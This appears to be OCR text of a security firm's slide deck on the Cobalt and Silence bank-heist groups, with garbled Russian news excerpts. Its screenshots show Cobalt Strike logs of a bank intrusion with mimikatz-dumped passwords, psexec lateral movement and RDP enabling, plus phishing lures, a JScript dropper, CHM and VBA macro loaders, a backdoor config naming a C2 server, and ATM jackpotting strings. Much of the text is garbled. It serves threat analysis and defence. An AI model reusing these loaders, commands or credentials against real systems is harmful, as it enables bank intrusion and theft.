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Hawnu Hawwu Tpu munnumoHa. OctanbHoe rae - NetpoBuy?

08:43, 31 gekabpsa 2017
Buepa B Baky NpMBE3/IM Ha CaMosieTe HEKOEro MHOCTPaHHOTO rpaXaannHa Cepresi AKCEHTbeBMYA MeTPoBUYM, KOTOPbIN
Byayun YNeHOM OpraHu30BaHHOW KMBENpecTynHoOl rpynnbl NPUYACTEH K XWLLLEHWIO CPeACTB U3 asepbaiimkaHckux BaHKoB.
Kakoii cTpaHbl OH rpaxgaHuH - He coobuyaetca. Cyas nNo HaN4YMIo OTHECTBa, YTO XapaKTepPU3yeT PYCCKUX, OH POZOM U3
Poccumn U rpaxaaHnH 3Toi cTpaHbl. B hamunum nocnegHss Oyksa SBHO NIULLHARA.

B baky rpaxpnaHuHa MonzoBbl, noxutusiuero okono $0,9
MIH 13 azepbanmkaHckoro 6aHka, npurosopunu k 10

rogdM TOpEMHOr0 3aKNKYeEHUA

BakWHCKWIA Cy [, N0 TAKKAM NPECTYNNEHWAM NPUIOBOPW Fpax4aHlHa
Mongoebl Cepreem MNeTpoBu4yK, 00BMHAEMOrO B XULWEeHWM 1,5 MNH MaHaToB
($880 TeIc.) 13 asepbaiagwaHckoro DaHka, Kk 10 rogam THPeMHOro 3akMiyYeHns,
coobwmnu areHTcTEY «MHTeptakc-AsepbaigxaHs» B KaHLENApWMK Cyaa.

"CerogHaA cyg npuroeopun C.MeTpoemym K 10 rogam THPEMHOMD 3aK/THYeHns",
- OTMETWIM B CYAE.

Kak coobwanock paHee, rpaxgaHnd Mongossl C.MeTpoeuyn Obin
3KcTpaguposaH B Baky B gexkabpe 2017 roga no geny o XWWeEHWA CBbiwe 3
MJTH MaHaToB rpynnoid KnbepnpecTynNHWKOB, AeiCTBYOLWENR 3a npeaenamm
cTpaHbl, Bo30ywaeHHoro Cnywboid rocygapcTeeHHoR Be3onacHoCTH
Asepbaiigwana (CI'B).

CornacHo MH(HOpPMaL MK, NPECTYNHUKM HE3aKOHHO NPOHUKIK B KOMMNBIOTEPHY'HO
ceTk asepbaigwaHckoro GaHka, OCYLECTENANMM [eHEXHEIE NEPEBOII,
BECKOHTAKTHBIM CNOCcOBOM BEIHUMANK [AeHBMM U3 6AHKOMATOE, a TakKe

COBEPLUAW W [pyTUe NPOTUBONPABHLIE AEACTBMA.

Mo chakTy BeIND BO3DYWAEHO A0 N0 cTaThAM 177.3.2 (Kpawa ¢
NpHUYMHEHWEM KpynHOro ywepba) u 273.4 (HesakoHHOe BMeLLaTensCTBO B
KOMMbIOTEPHYH CUCTEMY WM KOMMNbHTEPHYH MHhopMAaLni) YK
AsepbaiigxaHa

CyS Centrum LLC




SWIFT

4 Ecuador N ( Vietham ) /Bangladesh\

01/2015 ?/2015 02/2016 ATM
SWIFT SWIFT SWIFT

$12 min $1.1 min $81 min

\. /N /N / /Czech Republic\ 4 Taiwan N ([ Thailand

07/2016 07/2016 08/2016

\

4 D

Honk Kong A 4 Ukraine x6 -/- ATMs 41/900 ATMs 21/3330 ATMs

2/2016 05/2016
S/WIFI' S<N||.-|' $73 500 $2.6 min $355 000

$? min $? min D 7N 7N 4

L % o %
Belarus N N [
08/2016 09/2016 09/2016

-/110 ATMs -/- ATMs -/- ATMs
€300 000 €200 000 €250 000
\_ /NG /
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Jack-Potting

Corporate LAN
Attacker’s PC

DbldDisp.exe Diispense <Currency> <Amount>

«direct» dispense
|

>

D3-Q4 targets

Belarus
CL_] Romania
Centrum Kazakhstan
Georgia

Llenesas ataka rpymmsl Cobalt Ha 6ankn Pocenn, Kasaxcrana, Hungary
Kupruscrana, benapycu, Azepbaiimxana, Ykpaunsl 1 EBponsl. Bulgaria
Vassumocts CVE-2017-8759/CVE-2017-0199 ga

CyS-INT-20#2017-09-20
y Moldova

(3 banks)
(4 banks)
(3 banks)
(2 banks)
(3 banks)
(1 bank)

(2 banks)

Russia
Armenia
Azerbaijan
Tajikistan
Kyrgyzstan
Panama
Ukraine

(2 banks)
(1 bank)
(1 bank)
(1 bank)
(1 bank)
(1 bank)
(1 bank)




KOPP. CYET

«KaK yKpacTb»

e

BAHKOMAT

MPOLECCUHI
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01/25 13:29:16 [metadata] 195.xxx.xxx.2 <- 172.16.1.133; computer: BTA3; user: Tigran[:::::::] *
pid: 7764; os: Windows; wversicon: ©.1; beacon arch: =86 (xod)

01/25 13:32:54 [input] <j2> sleep 5

01/25 13:32:54 [task] Tasked beacon to sleep for 5s

01/25 13:32:56 [input] <j2> getuid

01/25 13:32:57 [task] Tasked beacon to get userid

01/25 13:33:13 [checkin] host called home, sent: 24 bytes

01/25 13:33:13 [output]

¥ou are E:::}THTigran[:::::::] (admin)

01/25 13:33:30 [input] <jZ> show_startup
01/25 13:33:30 [task] Tasked beacon to run:
REG QUERY HEKIM\Software'\Microsoft'\Windows\CurrentVersion'Fun

01/25 13:33:35 [checkin] host called home, sent: 136 bytes
01/25 13:33:36 [output]
received output:

HKEY LOCAL MACHINE\Software‘\Microsoft\Windows\CurrentVersicn'Run

AdobeCS5.5ServiceManager REG 57 "C:\Program Files (xB6)\Common
Files\Adobe\CS55.55erviceManager\C85. 5ServiceManager.exe" -launchedbylogin

CNAP2 Launcher REG_SZ C:\Windows\system32\spool \DRIVERS\x64\3\CNAPZ2LAK.EXE

zpgf zudoau REG 52 explorer
“http:fﬁitushen.ruf?ufm_seurce=ueua03&utm_content=2?e9345D152leBe?EddeaBaaDlEeTB&utm_term=J1398ﬁlT
COF983FTDZEBE4ATO91189172C&utm d=20160920"

g REG SZ cmd /e (@attrib -H -R -5 C:\Windows\system32\GroupPolicy\Machine\Registry.pol
>nul) & (Bocopy/b/y C:\Windows\system32\GroupPolicy\Machine\R
C:\Windows\system32\GroupPolicy\Machine\Registry
.pol >nul)é& (Gattrib +R C:\Windowsh\system32\GroupPolicy'\Machine\Registry.pol >nul)& (@start/b
gpupdate.exe /Force >L)

Lync REG 57 "C:\Program Files‘\Microsoft Office\Officel5\lync.exe" /fromrunkey

BingSve REG 5% C:RUser5RTigran[:::::::}KﬁppDataHLGcalRMicrosoft&BingSchBingSvc.Exe

CyS Centrum




01/25 13:36:36 [input] <scriptl> screenshot

;ééeived screenshot (179313 bytes)

éiiES 13:41:55 [input] <Jj2> cd Program Files (x86) \Common Files\Adobe\CS55.55erviceManager
éi;ES 13:41:56 [input] <j2> 1ls

01/25 13:42:01 [output]
C:\Program Files (xB@)\Common Files‘\Adobe\C55.55erviceManager\*

0 10/30/2014 11:08:25  AMT

0 10/30/2014 11:08: configuration

1523360 01/12/2011 07:08: [CS5.55erviceManager.exe |
192512 01/12/2011 07:08: Tibcurl.dll

01/25 13:42:32 [input] {jz}[shell ren C55.55erviceManager.exe CSE.ESErviceManagers.exe]

01/25 13:42:51 [input] <j2> upload

01/25 13:42:54 [task] Tasked beacon tG
C:\Users\1\Documents\B@\shell\227 21.12.20T6%2017_only exe 4min\CS5.58erviceManager.exe as

C55.55erviceManager.exe

01/25 13:42:54 [indicator] file: B84f2b3%ec740d152fcac0428bellebcSh 46592 bytes
C55. 58erviceManager.exe

01/25 13:42:54 [checkin] host called home, sent: 46627 bytes

01/25 13:43:07 [input] <j2> 1s

01/25 13:43:11 [output]
C:\Program Files (x86) ‘\Common Files'Adobe\CS55.55erviceManager'*

F
F

46592 01/25/2017 15:42:55 [CSS.SServiceManager.exe]
£S5.5

1523360 01/12/2011 07:08:56 ServiceManagers.exe

01/25 13:43:22 [input] <j2>|execute CS55.55erviceManager.exe

CyS Centrum




01/25
01/2%5 13:35
01/25 13:35:44
01/25 13:35:48
received cutput:

13:35:43

:41

Authentication Id
Session

User Name

Domain

Logon Server
Logeon Time

SID

wdigest
* Username
* Domain
* Password

[ooo0o001]
* Username
* Domain

* Password

[0O0O00OL]
* Username
* Domain

* Password
[OOODD00Z]
* Username
* Domain

* Password
[oO0OOO000D3]
* Username
* Domain

* Password

[DOOOODOODD]
* Username
* Domain

* Password

input]
task]
checkin]
output]

<scriptl> logonpasswords
Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
host called home, sent: 464978 bytes

0 ; 350049
Interactive
Tigran

(00000000 :00055761)
from 1

L3
1/24/2017 9:09:51 AM
5-1-5-21-31594550941-4242210272-635111102-8330

Tigran | L

ZXCVEN111

: Administrator
: MIJ

LN
bk

2%

: Ai:::}Kadministrator
: 172.16.0.254
asdFGH123

: I Juser

10.228.123.7
user

: A__Jriuser

10.222,151.15
user

Nod3z

. A

qweRTY 123

CyS Centrum




01/25 13:47:50 [input] <scriptl> shell net group "domain admins" /domain

received cutput:
The request will be processed at a2 domain contreller for domain A[:::::bk.

Group name Domain Admins
Comment Designated administrators of the domain

Administrator Gevorg Sa___In Narek SC_—kn
project Sergey Hof—Fn

The command completed successfully.

01/25 13:48:42 [input] <scriptl> shell reg query "HKEY CURRENT USER\Software\Microsoft\Terminal
Server Client\Default"

v MEU3 REG 52 1921681216

received cutput: =

HKEY CURRENT USER%\Software‘Microsoft\Terminal Server Client\Default MRUS REG S7 172 .16.1.74
MEUD REG 52 112 . e.1,93 =

D1/25 13:56:39 [input] <scriptl> shell net group /domain

received ocutput:

Group Accounts for “\WDC3.[_____ Pk

*Administration
*Agarak Branch

*Back Office Department

*Cards and POS Terminals

*Cards Service Sell and Marketing Department
*Cards Transaction Accounts Department

CyS Centrum




01/25 14:13:49 [input] <scriptl> upload X:\netscan.exe (C:\Intel‘\netscan.exe)

01/25 14:13:56 [indicator] file: e?aaSEDl |lb9chDE 1480520 bytes C:\Intel\netscan.exe

01/25 14: :50 [task] Tasked beacon to download C:\Intel\scan.zml
download scan.xml 1s complete
01/25 14: :07 [input] <j2> net view

received ocutput:
List of hosts:

Server Name IF Address Platform WVersion Comment

BCLIENTCA
COMPLIANCEQOFFIC
DCZ2

D3
INTERNETEANENEW
NOD3Z2

SECURITY1
SWIFTTERMINAL
VIRTEANE-MATL

CA

Ara Ka[——]}

Domain Controller 2
Domain Controller 3

=)o
P
R,
8
2 B
i
sk
vk
o
e

{00 I T T o B T T T T e R o
oWk e o

Armine G

WSUS

WsUS

'_'l
o
2
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01/25 13:58:07 [input] <scriptl> sleep 0
01/25 13: : [task] Tasked beacon to become interactive

01/25 13:58:25 [input] <scriptl> socks 47753
01/25 13:58:25 [output]
started S0OCKSda server on: 47753

01/25 14:01:49 [input] <scriptl> enable rdp

01/25 14:01:49 [task] Tasked beacon to run: REG ADD "HEIMASYSTEM\CurrentControlSet\Control\Terminal
Server" /t REG DWORD /v "fDenyTSConnections" /d 0 /f

01/25 14:01:49 [task] Tasked beacon to run: REG ADD "HKIM\SYSTEM\CurrentControlSet‘\Control\Terminal
Server" /t REG DWORD /v "fSingleSessionPerUser" /d 0 /f

01/25 14:01:49 [task] Tasked beacon to run: REG ADD "HKIMM\SYSTEM\CurrentControlSet\Control\Terminal
Server\Licensing Core" /t REG DWORD /v "EnableConcurrentSessions" /d 1 /f

01/25 14:01:49 [task] Tasked beacon to run: REGC ADD "HELMASOFTWARE\Microsoft\Windows
NT\CurrentVersion‘Winlogon"™ /t REG DWORD /v "EnableConcurrentSessions"™ /d 1 /f

01/25 14:01:49 [task] Tasked beacon to run: REG ADD "HELMASOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon" /t REG DWORD /v "AllowMultipleTSSessions" /d 1 /f

01/25 14:01:49 [task] Tasked beacon to run: REG ADD "HKLM\SOFTWARE\Policies‘\Microsoft'\Windows
NT\Terminal Serwvices" /t REG DWORD /v "MaxInstanceCount" /d 5 /£

01/25 14:01:49 [task] Tasked beacon to run: REG ADD "HKIM\SYSTEM\CurrentControlSet‘\Control\Terminal
Server" /t REG DWORD /v "AllowTSConnections" /d 1 /f

D1/25 14:01:49 [task] Tasked beacon te run: REG ADD "HEKIMASYSTEM\CurrentControlSet\Control\Terminal
Server" /t REG _DWCRD /v "TSAdvertise" /d 1 /f

01/25 14:01:49 [task] Tasked beacon to run: REG ADD "HEKIMASYSTEM\CurrentControlSet\Control\Terminal
Server" /t REG DWORD /v "IdleWinStationPoolCount" /d 1 /f

D1/25 14:01:49 [task] Tasked beacon teo run: REG ADD "HEIMASYSTEM\CurrentControlSet\Controcl\Terminal
Server" /t REG DWORD /v "TSAppCompat" /d 0 /f

01/25 14:01:49 [task] Tasked beacon to run: REG ADD "HEIMASYSTEM‘\CurrentControlSeti\Controli\Terminal

LL] Ll =

CyS Centrum




received output:
Volume in driwve Y4172.16.0.254%\cS has
Volume Serial Number is 6B874-BBCE

Directory of \\172.16.0.254\c5

11/14/2016 02:42 PM APS.cer
06/11/2009 01:42 AM autoexec.bat
06/11/2009 01:42 AM config.sys

12/07/2016 03:01 AM <DIR> Windows
5 File(s) 2,574 bytes
11 Dir{s) 41,206,902, 78B4 bytes free

01/25 14:48:37 [input] <j2> psexec psh 172.16.0.254 SMB

01/25 14:48:37 [task] Tasked beacon to run windows/beacon smb/bind pipe
(\\172.16.0.254\pipe‘\status 443) on 172.16.0.254 via Service Control Manager
01/25 14:48:37 [indicator] service: \4,172.16.0.254 1Beaddf

received ocutput:

Started service 1Beaddf on 172.16.0.254

01/25 14:49:05 [input] <j2> psexec 172.16.0.254 c3 SMB

01/25 14:49:05 [task] Tasked beacon to run windows/beacon smb/bind pipe
(\\172.16.0.254\pipe\status 443) on 172.16.0.254 via Service Control Manager
("W\172.16.0.254 \c5\5ed3169 . exe)

01/25 14:49:05 [indicator] service: “\172.16.0.254 0de0lald

01/25 14:49:05 [indicator] file: 77d4f{ BEoZ0cchd 14848 bytes
YW172.16.0. 254\ o5\ 52d3 169 . exe

received cutput:

Started service 0d4d&601al on 172.16.0,254

01/25 14:49:24 [output]

established link to child beacon: 192.168.137.1

01/25 14:49:37 [input] <j2> sleep 55 [from: Beacon 192.168.137.1@3568]

CyS Centrum




«boAbLLAA TpOUKa»

December'l8

Tooo
(X"

January'l February'l
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Money laker
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From Krivosheeva Irina <ikrivosheevd@alfacapital.rup v prward | More v

Subject YBepomieHMe 0O Bbifaue Naés I.'."Z"'. Anbda Kanutan [ 12/10/18, 11:17

To | vy

@Qv| V <=Appl:lata ¢ Local » Temp » v|*r'f|| Search Temp

Organize « Include in library « Share with = Mew folder

i Mame Date modified Type

1 Libraries

¥BEAOMMNEHHME O BEIAYE NAEE 41172019 4:48 PM | JScript Script File |

Open Package Contents

*

-

Yeegomnssve o

& gz rage oat The package you are about to open will run a pregram contained in the
package. That program could do anything! It may harm your
computer!

[obpbid R _
TAUHBIN KADUHET Unless you are absolutely certain about the nature, source, and
Bnaronapim |§ centents of this package, please press the Cancel button.

Coofuaem BY NnyHom kabul

«Anbda-baHra»

Byaem pagbl OTBETUTb Ha Baluum Bonpock!. Ok ] [

pbiHoyHbix

aKumne-
~ [ 1attachment: 3asBka N9573.14007777.465(181207629ﬂ).cﬂ
[fij: 3anBka N2573.14007777.465(1812076291M).docx : 910 kB |

Cancel

online@alfacapital.ru

CyS Centrum




dirName = "DEFLU] te";
var fso new ActiveXObject (
var shell = new ActiveXObject ("W:
function getRootDir()
I
8
var appData = shell.ExpandEnvironmentStrings|
return appData + + dirName;
3 ==
function createRootDir() |_||_||&|
r

i try @uv| y <:App[}ata » Roaming » DBFUpdate - $f|| 5 p|

1

[F=10- RO R RSO ]

fso.CreateFolder (getRootDir{) );
Organize » Include in library = Share with = Mew folder

i:atch{err]
T

: 'J"' Music i Mame . Date modified
} .
1 ' = Pictures _ )
function createTempFile() E Vi E radd A S11,/20 J PN fil ca
Ideos

I
1

tname = fso.GetTempName().split( yel: L_,rﬂdESFE?-Pdf o 2 PDF File
return getRootDir() + + tname; — i ;
1 = 7] radC D 11, ] ool
function decodeBase64(base6dString) Computer
1
var xmlDom = new ActiveXObject('M
var el = xmlDom.createElement(
el.dataType = L ebd
el.text = basebd45tring
return el.nodeTypedValue;
i
function writeToFile(filePath, binData)

rede T A MEWINWORD.EXE ate  Co\Windows\SysWOWE4 wscript exe

1
bso.
bso.

bso. au il wacript exe 3 Start
o & wscript .exe 3752 &) Process Create Users™\App Data* Roaming \DEBFUpdate ' radCCB30 exe
e ACAMAAA. | AAAARA B 'radCCB30 exe 3568 &% Process S

T Y g wscript exe 3752 zg Create Usgers'k\AppData®Roaming \DEFUpdate rad01D9A exe
Cor apEreFiLe - cresteTemprite() « © oxc' B rad01D%Aexe 2808 3

binData = decodeBa {

writeToFi

shell.Exec{tmpE

var tmpExeFile createTempFile() +
binData = decodeBa :
writeToFile(

shell.Exec{tmpE

var tmpPdfFile ateTempFile() +
binData = decodeBasebd(pdf);
writeToFile({tmpPdfFil binData):
shell.Run{tmpPdfFile, 1, false);

catchi{err){}

CyS Centrum



parsed.fingerprint_sha1: 2D:DB:76:B0:8D:4D:7F:B9:48:42:10:2D:6E:5E:E7.C6:3F:59:78:23

Certificates
Page: 1/1 Results:1 Time: 376ms Query Plan: expanded

CN=cbrrf.tech

Let's Encrypt Authority X3

2018-10-14 - 2019-01-12

cbrrf.tech

parsed.fingerprint_shal: 2ddb76b08d4d/fb94842102d6e5ee/c63f597823

CyS Centrum
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Kaxk crano u3BecTHo “b”, Ha IIPOIIUION HeOelle XaKepPCKOKr aTake

IIOOBEPrcsI OMCKUM O6aHK ¢ Oa3oBoi nuneH3uer| UT-6aukK. Yepes

IJIaTEeXXHYI0 cucTeMy LIb 37T0YMEINUIEHHUKH BEIBEJIH U3 KPEOUTHOM
Opl"aHHSaHH<<Hpe£[HOJ]O}KHTeJ]LHO, XaKephl
IIPOHUKIIM B DaHK Yepe3 (PUIIHUHTIOBYIO PACChHUIKY I'PYIIIIUPOBKHU Silence
| ),— oTMeTHI cobecegHUK “b”, 3HAKOMLIH C
CcUTyalliel.— baHK IIOJIHOCTEIO "J1er" B pe3yibTaTe aTakKHi, YTO BIIOJIHE

3dKOHOMEPHO, Ha 0e30acHOCTD JEHEI'H TYT HE BEIOEIIAJINCE — OHA OBLIIa

Ha HYIIE» .
Y HpBHCT&BHTBHH CPa3y HECKOJILKHX KPEOHUTHEIX OPI'aHH34dllHHA COOﬁHIHHH

“b”, 4yTO Ha 3TOM Hepmelie OblJIa COBepIlleHa IIepBasl XaKepcKasl aTaKa Ha
0asK B 2018 romy. Ilo cmoBam ogHOro 3 cobecegHUKOB “b”, aTaKoBaH

[T P-6aHK [(329-e MecTo 110 aKTHBaM). [Ipyroi HCTOUYHUK “b” YTOUHUII,

4TO C €TI0 KOPCYETAa B ]_[B B HOUbL Ha 4 HUI0JIA 3JIOYMLBINIUIEHHHUKH BLEIBEIIH,

II0 CaMBIM CKPOMHEIM ITofcueTaM,| 6oee 58 MiH pyo.

CyS Centrum
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From Elena Kyzmina <helenf@cardisprom.rug < Reply |  ReplyAll |v|| - Forward || More v~

Subject CornocoeaHne MakeTa 12/27/18, 12:38

Tol Ivr

Nobpbin neHb!

Benu c BaMu neperoBopkl NO MOBOAY OTKPLITUA 3apniaTHOro Mpos3
C WHOMBWOYaNbHLIM NOW3auHOM KaprT. —l
C TtapudaMum pyKOBOOCTBO O3HAKOMUNOCL. Hac Bce ycTpauBaer. = —
Boicbinaiow BaM MakeT OuM3auHa KapT W 3anofIHeHHbIn NOroBOpP BO BFS E
Xny ot Bac oTBeTa nNo MakeTy OM3auHa 3apniaTHbIX KaprT. —
HaM BaxHO MOHMMaTb cMoxeTe Bbl HAHECTW [OaHHYKW KApTUHKY Ha K

DOUBLE CLICK TO

Cnacubo!

OPEN DOCUMENT

https://cardisprom.ru

|

—— S
- [J 1 attachment: MakeT.doc 35.7 kB @'\J'l A |» AppData » Local » Temp » * | 43 || Search Temp
[l MakeT.doc: 35.7 kB

Organize = Include in library = Share with = Mew folder

% Help EI@ 7 Mame Date mu:d?ified Type

=5 ., |E§H] Maket 41172019 5:39 PM Compiled HTML ...
Hide Print  Options

Cortents | Index | Search | . .
ESNEE=) Error with encoding

[0x0FFFFF96]: Check your
installed system fronts!

CyS Centrum




"000ROROR0E0E0EEOROROROEDE0E0AEOROROEOEDE0AEOEOROROROE0E0A0OBOROR" ></0b]ject>
<param name="iTeM4" value="43,32,54"> <object ioe=">" id="3223" style=
"111111111111111111111111111111111111111111111111" iososos=
"000000000EEEEERONENNON000000ONNRERERRRERRAAEONANNNNN00AEEERRREER"></object>

<param name="ItEml" value=' , schtasks.exe", /create /tn 3 /tr (:\ProgramData
C:Zwi*canaiéyatemEﬁicmc.939 /C at%ﬂLLLEEﬁéﬂﬁﬁFILE:~&,L%rt
C:\Windows\System32\msl ﬂ'HLL| SERSPROFILE:~8, 1%
H ﬁLL|, PF3P“FIL"=+L,L. sALLUSE PF3P“FIL"~+L,_ED:55"—r.ﬁ.??.lﬂifiH E:~9,1%%ALLUSERSPROFILE:~9
, 1%5 && schtasks /delete /tn 3 /f" /sc min /F' ;=""»

<object ioe=">" ld "3223" StFIE—"111111111111111111111111111111111111111111111111" 1050505=

< 3444 ZF Process E.reate' C: \Windows'hh exe

</object> : 3532 &Y Process Start

e (Hhh. 3932 &% Process Create  C:\Windows'\System 32 schtasks exe
B schtasks exe 1536 &% Process Start
Elcmd exe 2hd44 ¥ Process Start
Elcmd exe 2544 & Process Create  C:\Windows\System 32 mshta exe
T mshta exe 1804 &F Process Start

Ecmd.exe 2044 B9 Process Create  CA\Windows'system 32 schtasks exe
5-' schtasks exe 2768 &F Process Start
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Lo Server
File Refresh

Country Remote IP Access IP:Port Computer Mame User Mame Local IP LastDateTime

Service Port: 443

CyS Centrum




2019-01-15 06:15:14.2928 | INFO | ServerlUiApp | Application initializing. Current Ul version Serverli, Version=1.0.6904.28704, Culture=neutral,

PublicKeyToken=null
Core assembly version is Comman, Version=1.0.6934.28703, Culture=neutral, PublicKeyToken=null

2019-01-15 06:15:16.8023 | INFO | ServerlUiApp | Path to files To client is C:\Users\Administrator \Desktop \Release\TaoClientFiles

2013-01-13 06:13:16.3062 | INFD | | Start listening http://*:8080/
2013-01-13 06:13:16.3062 | INFD | | Start listening http://*:80/
2013-01-15 06:15:16.3062 | TRACE | | Core initialized

E[IlEI-I]I-IE 28:22:00.9228 | INFO | | Download file from to
2019-01-13 23:22:01.9072 | INFD | | Next command to bot ID:131920****** 062500 action:
2018-01-15 23:22:01.9853 | INFO | | Request file transfer: from ip: 3a.0cxx 8.

2013-01-13 23:22:07.6074 | INFD | | Next command to bot ID:1s1320%*****062a00 action:

2018-01-15 23:32:28.9375 | INFO | | New bot initialized |d=131320%***** 372000 from ip=217.xxxx.33
2013-01-12 23:32:26.3373 | INFD | | Next command to bot [D:131320%***** 375000 action:

9013-01-15 23:34:32 5390 | INFD | | Next command to bot [D:131320****** 373000 action:
2013-01-15 23:34:44 4763 | INFO | | Next command to bot ID:151320%***** 375000 action:
2013-01-15 23:34:43.5400 | INFO | | Next command to bot ID:131320%***** 375000 action:

EI]lEI—[II—lE 22:l:18.3062 | INFD | | New bot initialized 1d=131320%*****06Za00from ip=3a.xxxx.18
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--exchange

% [%d]

RIND

RINI

RINZ

BIN3

BIN4
CashDispenser
COM30

Changing cashunit infos
chosen %d | %d
Connected
Connected
Connected
Connected
Connected
Connected :
CurrencyDispenserl
DBD_AdvuncDisp

Disconnecting...

Error connecting: Yop

Error dispensing 0x%608X
Error ending exchange 0xJa08X
Error getting bill status: 0xap.

Error getting cashunit info: 0xJap.

Error getting cdm status: 0x%p.

Error getting maxbill: ap
Error locking XFS

Error setting cashunit info: Ox%ap.

Error starting exchange 0xa08X
Error starting WFS: %ap
Exchanged units

Exchanged units to nul
Exchanging cashunits

Getting billcount.

Letting cashunit infos

Getting CashUnitStatus
GettingCOMS tatus.

Connected. Version: wis%0d.%d, sre6d.%d, spi%d %d

Connecting...

Global\ %08X%08X

|d%s(nr=Y%d)(I=%d.h="%d). %d%d%d of %d [%s][%d][%d].[%ad]
|d%s(nr=Y%d)(I=%d.h="%d). %d%d%d of %d [%s][%d][%d].[ %ad][%ad]
Injected mxsfs killer into %ad.

maxbill = Y%d

msxfs.dll

No denominations found

No msxfs installed...

NO_TOKEN

nxcdm

NXCdm

pos=%ad, OutputPosition=Y%d, shutter=%d, transport=Y%ad
pos="0d, status=Y%d, shutter=Jad, transport=Yad, status=Y%d
psapi.dll

REJCT

NAH]

Resetting COM.

RET

RSDS

Set cashunit infos

Setting cashunit infos

Starting WFSManager...
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g = Microsoft Visual Basic

' Rur-time error -2146697211 (300c0005)":
IStore The system cannaot locate the resource specified.

This document is protected

I
Download Invoice 1 2 3
http://computerguy.icu/kadfbiey Ji

Open the document in If this documents was Once you have enabled
Microsoft Office downloaded from your editing, please click
Previewing online is email, please click «Enable Content» from
not available for «Enable Editing» from the yellow bar above
protected documents the yellow bar above

|%WINWDHDE{E 2872 4% TCP Send WIN-AHPKFORGM3 localdomain 43197 -> 101.93.90. 33 https

WINWORD.EXE 2872 4% TCP Receive WIN-AHPKFORYGM3 localdomain: 43197 -> 101.93.90. 33 https

WINWORD EXE 2872 A WriteFile C:\Users'Publictalgmuid7 exe
- =

WINWORD EXE 04 B Process Create CUsers'Publichalgmuigd? exe
| algmuil 7 exe 1468 &Y Process Start
| algmuil7 exe 1468 &Y Thread Create

Corporate Address |
l-—

Apple
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var BV = "2.0";
var Gate = )s://systeml.kz/mail/ajax.php";

var js_gate = "https://systeml.kz/mail/readme.txt";

var hit each = 9;

var error retry =

var restart h = 4;

var rcon max = hit each * (restart h * 60) / (hit each * hit each);
var Rkey = "9SjQbNuenAwi5LLW";

var rcon now = 0;
var User = "";
var Build = "";
var gtfo = false;

Hfunction hit() {
var Note:var xStore var Sp:var saveTlo:

function obj (xString i:f{xﬁn'{cc-mmj.-__'-_'t;ﬁe}{waitfnr{l, 0);}

Hsavelo myEnv{ APPDATA \\"; S¢

HNote *x1.RegRead(x5tore); 1f {Nnte} { if (Note. 1ndefo{”
{ Sp Note.split(","); saveTo += Sp[0] + ".txt"; }
else {saveTlo += tempExtra();} }
else {saveTo += tempExtra();} } catch (ell) {saveTo += tempExtra();}
var dqg = "\x22"; comm = xx1 + dg + saveTo + dq + xx2; if (fexist(saveTo)
{if (wget(mLink, saveTo) === true){if(xGo(comm) === true){return true;}}
else {if(xGo(comm) === true){return true;}}} else {return true;}}
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_biMJ[seR
cveZ020158 9 maros

cve-2013-1641
cve-2017-0139

cve-2017-0261
cve-2017-8753
OLE-embedded

_D0WNAFF ] ROZENA ] JS-backdoor | Truefiot _
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#!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.0rg/TR/xhtml1/DTD/xhtmll-transitiona
"http://www.w3.0rg/1999/xhtml" lang="en"><head><title>/3 ff h g4z hyg w h s58z g8.</title></head><body><h2>n4n,xs/
spil4,t0 jv z wt yi f et cge hkv ofir zud57.</h2><p>ssmd4,sl,cv,r x.v shn e7ubf.g nOms v/ sxt b6/ iz18n0,b jzgx j

xyc4d h whBv v al a g f ygn.y z 1b7 j s uy.xr9 gvpijuS5khxdes u.</p><p>bj84 o,z n r,o h n,o hgl92 q db h evu/ sxxof
hne51 m e,yedxuykfk ib2e f p7 n u k0 @48 r vnjs+2zc dq.i.rl o,tcvic y g i8,d910 ob,bjf x 1iQu czc itj eOxq@7 zsyzf
gy2 u s gk7rr g ad rj.</p><p>j,b,z rl@i i g u t n lhueheaqa p8.</p><p>e8vj0 g+xfw5,d nlgg8 t s y73 su+t cl k zx/

</p><p>tr+r z9q z6zcO5e gz,al.ao7i nn,zol 1 eed/cq o c a n kfg u r 1669x d1f k2 wttnk z3 ef ub9g andlqg,sc,h5,m5fv
</p><p>at.</p><p>wd k g83 r.a9 h s6 blf e emtvn.lh/,a/ t g/q alelq,qfk y08/etglf,j96.no fal L d hu e8qgl sl k x/ o
pyi9qgqg,r vq vOk4 g.ypin.xt z1 o w nnqu,stn xaq j s 9 yt6 q s ck q yxm x2tb9z.n9po@ink vp p j r6.tg+i.</p><p>h sc
rénn,bu? k ré6 uv.gx+ t.</p><p>g o0a.z3 u u fu z7 xa c5 n.f wyl mun,zx9 y4,rl gs iy.r i6fpmuiBei c4s g++w8j v4x 1 v
gp6vui x d a7gpl,jglji h rs pb8c6 v gax4 xfl6.T 1L w cn@.o ifu.</p><p>x/ qwa fp j k.</p><p>c yrjeghg.</p><p>e t alé
p,wbi t ax,i gi ml7 vhz tpk osn+38y.</p><p>ha ip x g n xbl dg r i hsol3 vfc rok ksne39c la ip@x p xbnw,ax,y g 0013
n xbmig r y.</p=><p>go ql7.v.</p><p>ua rok,lsnen9.mja epx3 p xbl t ax y facl7 v73 pok isn+n+62a ep bc b xbo d y r y

Download + Decrypt + Run
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1 SECURITY WARNING Macros have been disabled. Enable Content

Paceword @ Picturel =
Docuﬁgmé

‘Zed¥lsV1_11495.xlsb’ is protected.
THIS STEPS ARE REQUIRED TO FULLY DECRYPT THE DOCUMENT,
ENCRYPTED BY DOCUSIGN.

F

Passwaord: |

(9]4 ] [ Cancel

[ara
Feltedt AR R R R R R

eFunction irewxixn()

irewxixn = Replace(UserForml.yvxypmu.Caption, "#", "")
‘End Function
sSub Auto Open()
g;mAggﬁggkgéuxieszxg'ngﬂve' nanUhf" r‘gocsymd, etiz, gytpax Lnt"toperforrnMicroso{tWardDecryptmnC
oxegakn = UserForml.rurytv.Caption | ¥
yzebexs = UserForml.VveS‘tu.Cap‘tion Fﬂshavebeendisab!ed Enable Content
mduve = Environ(UserForml.iwveq.Caption) & UserForml.bamteda.Caption | ' Password
Open mduve For Output As #49

E‘;" to unlock the editing document downloaded from the internet_—"

originated from an Internet location and might be unsafe. Click for more details. = Enable Editing

ThisProject Password

Print #49, oxegakn

Close #49

nagzuhf = UserForml.timiw.Caption

rgocsymd = Environ(UserForml.eruwna.Caption) & naqgzuhf

FileCopy irewxixn(), rgocsymd _ )
